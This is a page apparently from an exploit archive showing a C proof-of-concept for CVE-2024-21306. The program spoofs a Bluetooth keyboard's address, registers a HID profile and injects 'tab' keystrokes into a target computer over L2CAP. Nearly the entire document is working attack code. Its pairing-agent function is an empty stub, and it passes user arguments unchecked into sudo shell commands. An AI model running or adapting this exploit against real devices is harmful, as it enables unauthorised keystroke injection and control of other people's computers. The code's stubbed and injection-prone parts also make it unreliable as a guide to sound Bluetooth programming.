4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-21306.c C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <time.h>
#include <signal.h>

#define AGENT_PATH "/test/agent"
#define KEYB_DEVICE_NAME "Keyboard"
#define HID_CONTROL_PSM 17
#define HID_INTERRUPT_PSM 19

void run_agent() {
}

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s <interface> <keyboard_address> <computer_address>\n", argv[0]);
        return 1;
    }

    // Bluetooth addresses
    char *interface = argv[1];
    char *keyboard_addr = argv[2];
    char *computer_addr = argv[3];

    // Set Bluetooth address of the target keyboard
    char cmd[256];
    sprintf(cmd, "sudo bdaddr -i %s %s", interface, keyboard_addr);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s reset", interface);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s up", interface);
    system(cmd);

    // Set device name and class id
    sprintf(cmd, "sudo hciconfig %s name %s", interface, KEYB_DEVICE_NAME);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s class 0x002540", interface);
    system(cmd);

    // Add the BT-HID SDP profile (HID control and HID interrupt)
    system("sudo sdptool add KEYB");

    // Start a 'NoInputNoOutput' pairing agent
    pid_t pid = fork();
    if (pid == 0) {
        run_agent();
        exit(0);
    }
    usleep(250000); // Wait for the agent to start

    // Enable SSP (secure simple pairing)
    sprintf(cmd, "sudo btmgmt -i %s ssp on", interface);
    system(cmd);

    // Make connection attempts to HID control until successful
    while (1) {
        struct sockaddr_l2 addr = { 0 };
        addr.l2_family = AF_BLUETOOTH;
        addr.l2_bdaddr = *BDADDR_ANY;
        addr.l2_psm = htobs(HID_CONTROL_PSM);

        int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if (s < 0) {
            perror("socket");
            usleep(10000); // Wait 10ms before retrying
            continue;
        }

        if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            printf("Successfully connected to PSM %d (HID Control)\n", HID_CONTROL_PSM);
            break;
        } else {
            perror("connect");
            close(s);
            usleep(10000); // Wait 10ms before retrying
        }
    }

    // Connect to HID interrupt
    struct sockaddr_l2 addr = { 0 };
    addr.l2_family = AF_BLUETOOTH;
    str2ba(computer_addr, &addr.l2_bdaddr);
    addr.l2_psm = htobs(HID_INTERRUPT_PSM);

    int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
    if (s < 0) {
        perror("socket");
        return 1;
    }

    if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
        printf("Successfully connected to PSM %d (HID Interrupt)\n", HID_INTERRUPT_PSM);
    } else {
        perror("connect");
        close(s);
        return 1;
    }

    // Inject 'tab' keypresses for 5 seconds
    printf("Injecting 5 seconds of 'tab' keypresses\n");
    time_t t0 = time(NULL);
    while (time(NULL) - t0 < 5) {
        uint8_t tab_press[11] = { 0xa1, 0x01, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
        uint8_t tab_release[11] = { 0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

        send(s, tab_press, sizeof(tab_press), 0);
        usleep(10000); // Wait 10ms
        send(s, tab_release, sizeof(tab_release), 0);
        usleep(10000); // Wait 10ms
    }

    // Cleanup and exit
    sprintf(cmd, "sudo bdaddr -i %s 12:34:56:78:9A:BC", interface);
    system(cmd);
    sprintf(cmd, "sudo hciconfig %s reset", interface);
    system(cmd);
    close(s);
    kill(pid, SIGKILL);
    return 0;
}